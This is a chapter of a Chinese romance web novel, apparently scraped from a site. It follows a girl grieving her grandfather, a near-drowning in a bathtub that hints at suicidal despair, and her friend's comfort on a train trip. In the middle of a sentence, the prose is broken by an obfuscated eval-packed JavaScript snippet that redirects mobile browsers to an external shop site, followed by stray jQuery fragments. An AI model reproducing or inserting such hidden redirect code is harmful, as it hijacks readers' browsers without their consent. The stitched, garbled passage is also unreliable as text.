两天的葬礼，来的人寥寥无几。
安绮霜也来了，不过她怀着孕，告别好之后，便走了。
偌大的殡仪馆，最终只剩下徐知暖一个人。
傍晚，风褪去和煦，带着阵阵寒意。她静静望着安睡在那里的老人，视线模糊，又清晰，循环往复。
眼泪却始终没有落下。
周围很静，能听见远处其他厅里隐约传来的吊唁声。
透骨的疲惫席卷而来。
某一瞬间，她觉得，如果能像爷爷那样躺下，闭上眼，好好睡一觉，该有多好。
混沌的五感中。
好似有一阵急促有力的脚步声，抢夺了其他声音。
可她眉眼漠然，毫无反应。
门外。
江澈被馆内过于寂静的气氛阻了脚步。
转头望去。
空旷的厅内，只有一个人。
少女跪在地上，背影单薄，深色的衣服几乎要融进背景的暗色里。
他找到她了。
这个认知让他焦灼的心弦略略一松，嘴角本能地扬起，又在感知到她周身的孤寂时，无声沉落。
他今天运气实在不好。
星海有两家殡仪馆。
二选一，他还是找错了地方。
“暖暖。”
他声音放得很轻。
话音迅速被隔壁的吊唁声吞没。
少女一动未动。
他迈步而入，她还是浑然未觉。
而且，越靠近，江澈就越能感受到她身上渗出的疲惫。
深重、沉寂，与这个季节格格不入的冷。
他在她身后停下，再次出声：“暖暖。”
徐知暖眼睫微颤，熟悉的声音转瞬即逝，当她以为是错觉时，少年温柔的声线，落入几乎要冻结的听觉里——
“暖暖。”
她指节蜷了蜷。
难以置信地，僵硬转头。
江澈也在这一刻看清了她的脸。
明明才两天。
她就像变了一个人。
面颊毫无血气，凌乱的发丝黏在颈侧。眼神涣散地看着他，没有任何反应。
江澈缓缓在她面前跪下，轻唤：“暖暖。”
徐知暖迷蒙的思绪慢慢被打穿：“……江、澈？”
声线嘶哑，虚弱，确认他的存在，是不是另一场梦。
只一句，江澈眼睛红了。
他倾身，紧紧抱住了她的，一遍一遍重复着“我在”。
身体被拥紧，感官被打穿。
干涸的眼眶，随着双臂传来的细丝痛意，聚起水汽。视线瞬间模糊，眼前的一切，都在水光里摇晃、碎裂。
“我回来了。”江澈摩挲着她的后背，手在发抖，声音也在发抖，“我回来了，我陪着你，我会陪着你。”
徐知暖紧紧攥着拳，抽泣声再也压不住，从喉咙里涌出，由小变大。肩膀一颤一颤，剧烈起伏，温热的液体止不住地流出。
这是两天以来。
她第一次，像这馆里所有失去至亲的人一样，有着同样的悲泣。
“江澈……爷爷走了，”眼泪汹涌落下，她眼睛血红，“是我……是我害死了他……是我没发现……是我没用……”
回来的路上，江澈问了何润凯，何润凯去打听后告诉了他一切。他慢慢松开怀抱，双手扶着她的肩膀，声音很轻：“不是的，暖暖，你听我说。爷爷的病，在很早之前检查的时候，就已经太晚了。医生说了，情况很不好。他不告诉你，是怕你担心，怕你难过，怕你像现在这样责怪自己。这不是你的错，真的不是。”
“我知道他为什么不说……”徐知暖拼命摇头，泪水纷飞，字句破碎不堪，“他怕花太多钱，他怕成为我的负担，他怕连累我……我都知道，江澈，我都知道！”
“可是江澈，我明明可以发现的！胃疼那么多次，他瘦了那么多，饭也吃不下……那么多破绽，那么多！我为什么……为什么一次都没有深想？我明明可以发现的！！”
她喊得声嘶力竭。
整个人如同被压碎的水宝宝，布满裂缝，再也无法维持形状。只能无力地拉着江澈的衣袖，垂着头，抵在他锁骨处，眼泪绝望地浸湿他的衣襟。
怀里的人像暴雨中淋透的小猫，不断发颤，呜咽声断断续续，微弱下去，又因为悲痛抽噎得上不来气。
江澈紧紧抱住她，心如针扎，钝痛蔓延到四肢百骸。
“暖暖，你听我说。”他低下头，缓缓地说，“爷爷不仅仅是怕花钱。他也怕疼，暖暖。癌症发病的时候会很疼，治疗的时候也会很痛。所以，不只是为了你，也是为他自己，他不想再那么疼了。”
他一下一下顺着她纤薄的背，“他不是放弃了，暖暖。他只是选择了一种，对自己而言，稍微轻松一点的解脱。所以，别这样怪自己，好不好？”
……
天未亮，江澈和她一起送走爷爷后，陪她回了家。
徐知暖推开门，屋内什么都没变，和她去苏市前一模一样，和在梦里的也一模一样。
只是少了几道，她打开门后，该有的声音。
走进爷爷房间，她目光木然地扫过每一个角落。
床边的垃圾桶还没倒，最上面扔着几团染着暗褐色的纸巾。桌上，明晃晃地放着一罐止疼药，还有半杯水。
所有的碎片，在眼前平凑着完整的一帧画。
江澈的视线一直停在她脸上。
从昨晚哭过那一场之后，她就像耗尽了所有力气，情绪又被封了回去，脸上看不出什么，可他能看出——
她很不好。
“一早上没吃东西了，”他轻声，“我去给你煮面。”
面煮好，江澈端到餐桌上。
徐知暖还站在爷爷的房门口，一步未挪，神情空茫。
他走过去，牵起她的手腕。
徐知暖没有挣，像个被抽走了线的木偶，任由他牵着走到桌边，被他按着肩膀坐下。
面前是一碗冒着热气的牛肉面，汤色清亮，漂着几叶青菜。
她慢慢拿起筷子。
江澈在旁边坐下。
“小心烫。”
她点头。
“下午还去奶茶店吗？”
她摇头：“我下午，要去个地方。”
“好，我陪你。”
“不用了。”她很快拒绝，“我自己可以，很快就回来了。”
“徐知暖，”江澈叫她，执拗地锁着她的眼眸，静了静，他语带恳求，“别甩开我。”
……
公交停在了星海第一监狱门口，江澈明白她要做什么。
他想给她留一点独自面对的空间，便在门外等她。
徐知暖走进去，拿起听筒。
上次不欢而散后，徐志恒脸上不再有那种假惺惺的笑。
电话接通的一瞬，冰冷且讥诮的声音传来：
“呦，我还以为你已经忘记我这个爹了呢！”
徐知暖不想理会他的话，只是忍着痛，说出今天来的目的：“爷爷，走了。”
电话那陷入一片死寂。
毕竟是亲生父亲，徐志恒脸色微变，浑浊的瞳仁里，泛起一层廉价的水光。
“怎么走的？”
徐知暖咬着软肉，一字一句：“腿。治不好，也没钱治。”她哼笑，“我不是早跟说过吗？我没那么多钱。”
不管徐志恒心里的良知还有多少。
她都想让他后半辈子每天，都怀揣着自责、后悔。
徐志恒不再说话。
“你放心，我今天来，不是找你要钱。我只是觉得，你有知情的必要。毕竟，这一切，不都拜你所赐？”
她吸了口气，“还有，爷爷的身后事，我已经办好了，你放心。从今天起，我不会再来了。”
放下听筒，她起身离开。
推开门。
盛夏白炽的阳光像一把滚烫的沙子，猛然泼进眼里，眼眶酸痛难捱。
下一秒。
一道身影挡在了她眼前，遮住了汹涌的光。
江澈站在她身前，微微低头，语气温和：“现在，是想回家，还是想走走？”
“我有点困，”徐知暖听见自己说，“想回去。”
“好，”江澈轻声应道，
“我陪你。”
-
路上，徐知暖一言不发，眼神空洞地看着窗外飞掠过的景象。
到家，江澈跟在她身后上楼，停在她房间门口。
徐知暖转身：“你回去吧，我没事的。”
她不像从前那样等他回应，直接推门进屋，反手就要关门。
就在门即将合拢的一瞬。
江澈抬手，抵住了门板：“我看着你睡。”
“江……”没等她喊完他的名字，他已经侧身进来，径直走到书桌边，拉开椅子坐下。
徐知暖太累了，连争辩的力气都稀薄：“你这样，我睡不着。”
床正对着书桌，江澈坐在那儿，自己也觉得这举动有些奇怪。
可他没办法。
只要一想起昨天在殡仪馆里，那个仿佛随时会消散的背影，他就恐慌。有一瞬，他感觉，她离他好远，好像只要移开视线一秒，她就会从他眼前彻底消失。
“行。”江澈不想逼她，但也不能放任她离开自己的视野。他站起身，“那你别关门，我坐门外。”
徐知暖沉默。
他又说，“要不然，我就坐这儿。”
没再与他争执，徐知暖最后妥协。
江澈走到门外，背靠着门框，看着她走进卫生间，关上门。
里面传来哗哗的水流声。
徐知暖脱掉拖鞋，踏进浴缸。
温热的水漫上来，荡开一圈圈涟漪。
她缓缓躺下去，任由水流没过身体。
水温很舒服，像被初夏的阳光整个包裹住。
已经快三天没怎么合眼了，大脑空白又混沌。
她想让自己清醒一点，可眼皮却越来越重，慢慢合拢，听觉、视觉都渐渐模糊……
她好像又跌进了一个梦里。
一个有爷爷的梦。
一个什么都没发生过的美梦。
……
江澈在门外等着。
从她走进卫生间、消失在视野里的那一刻起，时间就被拉得无比漫长。
里面的水声非但没有消磨他心里的慌乱，反而让不安越来越重。
他走到卫生间门前，手搭上门把，顿了顿，朝里面喊：“徐知暖！你洗好了吗？”
不知是不是没听见，里面没回音。
他又大声喊：“徐知暖！”
无人回应。
熟悉的恐惧瞬间攥紧了心脏。
他顾不得别的，拧动门把，推门冲了进去。
瓷砖地上漫着一层薄薄的水。
浴缸里，少女整个人沉在水中，一动不动，黑发像水草般散开漂浮。
江澈扑到浴缸边，双手发着颤，一把将人从水里捞了出来。
“暖暖！徐知暖！”
没有反应。
他把她平放在湿冷的地面上，双手交叠，用力按压她的胸口。
不好的想法一个接一个冒出。
不知按了多久。
忽然，一声轻咳从她唇间溢出。
江澈呼吸一滞，手上没停，继续按压。
直到她侧过头，断断续续吐出好几口水，他才猛地停下动作，浑身发抖地将她扶起来，紧紧揽进怀里。
“暖暖……”
靠在他肩上，徐知暖微微喘着气，迷蒙的眼睛缓缓睁开。
映入眼帘的，是江澈通红、浸满泪水的眼睛。
“……江澈。”
“徐知暖！”江澈的声音抖得厉害，努力压着音量，“你知道你刚才在做什么吗？”
他脑海里全是推门那一刻看到的画面。
有一瞬间，他真的以为她要走了。
甚至。
连她走了之后他该怎么办，都在眼前飞快地闪去。
他声音里带上哭腔，低低地，一遍遍问：“你能不能……能不能别这样。”
温热的液体猝然滴落在徐知暖的手臂上。
“我就是……好困，也好累。”徐知暖没什么力气解释，声音轻得像叹息。她不得不承认，如果刚才江澈没进来，她或许，就能见到爷爷了。
“累就上床睡。”他压着火，声音亮了下，又很快低下，几乎是哀求，“徐知暖，你能不能，别这样吓我。”
徐知暖没说话。
看着她这副模样，江澈恨铁不成钢。
他慢慢扶着徐知暖起身：“走，我带你去睡觉。”
“我想换件衣服，”她气若游丝，“这件太湿了。”
“好。”
江澈扶着她一步一步挪到衣柜前，替她拉开柜门，又陪她走回卫生间门口。
但没离开。
徐知暖哑声：“你这样，我怎么换？”
江澈攥了攥拳，吸了口气：“给你一分钟，我计时。一分钟到，我会进来。所以你最好快点，我等你出来。”
他很少对她强势。
记忆里这还是第一次。
徐知暖带着几分陌生地看着他，点了点头。
她换得很快。
计时还没响，门就打开了。
江澈的心一直悬在半空。
看着她慢慢走到床边，躺下，拉上被子，那根弦依旧绷得死紧。后怕的劲头太凶，一阵阵发冷。
徐知暖躺着看他：“你就这样看着我吗？”
“嗯。”
“不困吗？”
说实话，江澈是困的。
回星海前一晚就没睡，到现在，也快两天了。
可他睡不着。
“你睡。”他说。
-
徐知暖也不知道有没有睡着，再睁眼时，已是晚上。
走下楼，江澈还没走，在厨房。
她有些犯楞地走去，看到厨房里的一袋面粉，还有几个放在碗里的汤圆，不由讶异：“你在，包汤圆？”
“嗯。”
看着一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596082|204148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个个放在碗里的汤圆。
徐知暖眼眶又有点酸，但被用强扯的笑意压了回去：“没想到，你还会包汤圆。”
“学的。”
江澈包了二十个左右，一个一个放进滚水里。等时间到了，又捞起。
这回比上次像样多了，至少没破皮漏馅。
他端了两碗到餐桌边。
“尝尝。”
徐知暖点头，拿起勺子，舀起一个，放入口中。
汤圆软糯，馅是豆沙的。
“怎么样？”他问。
徐知暖抿了抿唇：“嗯，好吃。”
“明天打算做什么？”
“不知道。”
“去奶茶店？”
她摇头：“我打算……辞职了。”
之前打工，是希望能攒点钱，给爷爷治腿，让日子好过些。现在，好像没那个必要了。这些年她也存下一些，欠秦家的债，差不多也能还上。
“好。”江澈什么都没问。可也不允许看她一直这样消沉下去。他提议道，“那明天陪我出去玩吧。”
“我不太想去。”
“徐知暖，”他声音沉了沉，温柔中带了几分强势，
“还记得在苏市，你欠我一个愿望吗？”
徐知暖慢吞吞地抬眸，看向他。
生锈的思绪，开始缓慢地嘎吱作响。
——“说吧，有什么小愿望，我可以帮你实现哦！”
——“能先存着吗？”
——“好吧，那先存着。等你想好了，随时告诉我。我来帮你实现。”
她点了点头。
“所以，”江澈逐字强调，“不能反悔。”
徐知暖知道，自己只能答应，嗯了声。
-
白天睡了会儿，晚上徐知暖翻来覆去睡不着，趁着江澈不注意，吃了粒药。
第二天一醒，就到了十二点。
走下楼，江澈坐在沙发上。
听见脚步声，他回头：“醒了？”
“嗯。”徐知暖问，“你昨天睡哪儿了？”
吃完药后，她很快就睡着了，关于后续江澈什么时候离开的房间，又是什么时候给她关上的房间。
她一无所知。
“沙发。”
“沙发？”她眉头轻蹙，“那多难受。”
她家的沙发是老式实木的，坐着都硌人，更别说躺一整夜了。
“就当矫正脊椎了。”江澈无所谓地笑了笑，站起身，“走吧，先吃点东西，然后出发。”
“我们去哪儿？”
“暂时保密。”
“……”
……
一路上，徐知暖问了几次，江澈只说是去火车站，目的地却闭口不提。
后来，她也没再多问。
窗外风景缓缓倒退，像一卷流动的画卷。
只是，抑郁药物的副作用导致她没过多久，又开始泛困。奈何车厢太吵，怎么也睡不着。
火车在一个小站短暂停靠。
很突然地，徐知暖想起了那个梦。
还有，爷爷梦里说的话：
“傻孩子，人这一辈子啊，就像上了一趟列车。会遇到很多人，有人在下一站等你，来到你身边；也有些人……只能陪你到这儿了。”
当时，她以为只是一个噩梦。
可原来，噩梦也会成真了。
江澈敏锐察觉到她神情的一闪而过的落寞，问：“怎么了？”
“就是想到了一个比喻。”
“什么？”
“人生，就像这趟列车。你坐在车上，会遇到谁，谁在下一站等你，谁又只能陪你到这一站……好像都说不准。”
爷爷的离开，对徐知暖来说是摧毁性的重击。
江澈理解她此刻的敏感与悲观，但他更想让她知道——
“徐知暖。”他望着她的侧脸，认真道，“我会陪你到终点。”
无论这一路还要经过多少站。
发生什么事。
他都会在。
徐知暖怔了怔，缓缓转过头，看他。
经此一遭，她不再天真地相信谁能真的陪谁一辈子。就像爷爷，无论有没有生病，总有一天也会离开。
可有时，她又总盼着，会有个人，可以陪她走得久一点，再久一点。
比如爷爷。
比如……
江澈。
她淡淡一笑。
这几天，江澈很少看到她笑，导致此时看到她的笑容时，心里酸胀发疼。
他分辨不出，这个笑是发自内心，还是仅仅出于习惯。
火车又过了三四站，窗外的景色渐渐从田野变成城郊。
徐知暖又问：“我们到底去哪儿啊？”
江澈没再瞒她：“沪市。”
沪市离星海并不远，只是绿皮火车慢，估计还要很久才能到。倦意又一次漫来，她眼皮沉沉坠下，掩着嘴，打了一个哈欠。
江澈问：“困了？”
“嗯。”
他起身，微微倾身。
车边的窗帘被他拉上，亮的日光被隔绝在外，车厢内陷入一片适合入睡的昏暗。
他又坐回原位，从包里拿出耳机，打开，逐一取出，然后侧身，抬手绕过她肩侧，形成一个迎面而来的短暂半环，动作温柔地，给她戴上。
一瞬间，外界的嘈杂几乎消失。
只有自己的心跳声略微明显，震动着耳膜。
“睡吧。”他看着她近在迟尺的眼睛，说。
徐知暖的脑袋小幅度地点了点，慢慢闭上了眼睛。
江澈侧着头，目光一瞬不瞬地落在她脸上。
只有在这种时候，他心里那根始终高悬着的弦，才敢稍稍松懈一分。
没过多久，徐知暖大概是睡着了，脑袋开始一点点往下沉，像枝头一枚即将坠落的果实。
江澈鼻间溢出一声轻笑。
在她又一次向前倾坠的刹那，伸出手，修长的手指托住了她下颌，轻轻将她脑袋，放到自己肩上。
……
安静的环境，让徐知暖又沉沉睡了一觉。
窗帘遮光并不好，阳光西落，刺眼的光线轻而易举穿透布料，投在她眼皮上，有些灼眼。
她睫毛颤了颤，睁开眼。
脖子有些僵，意识回笼的瞬间，她微微一动，仰脸。
少年的脸离她只有一指的距离。
他闭着眼，呼吸绵长，也睡着了。
估计是昨天没睡好。
除了爷爷，从来没有人对她这样好。
在乎她的感受，耐心地陪着她，在她最绝望的时候，毫不犹豫地来到她身边。
——“徐知暖，我会陪你到终点。”
她唇瓣微扬。
就在这时。
另一侧的窗帘被空调风吹起一角，暖阳斜洒，落在他们身上。
光在移动，影子也在移动。
他们这侧的窗帘上，投出了一道晃动的光影。
少女的唇落在了少年颊侧。
——“我知道。”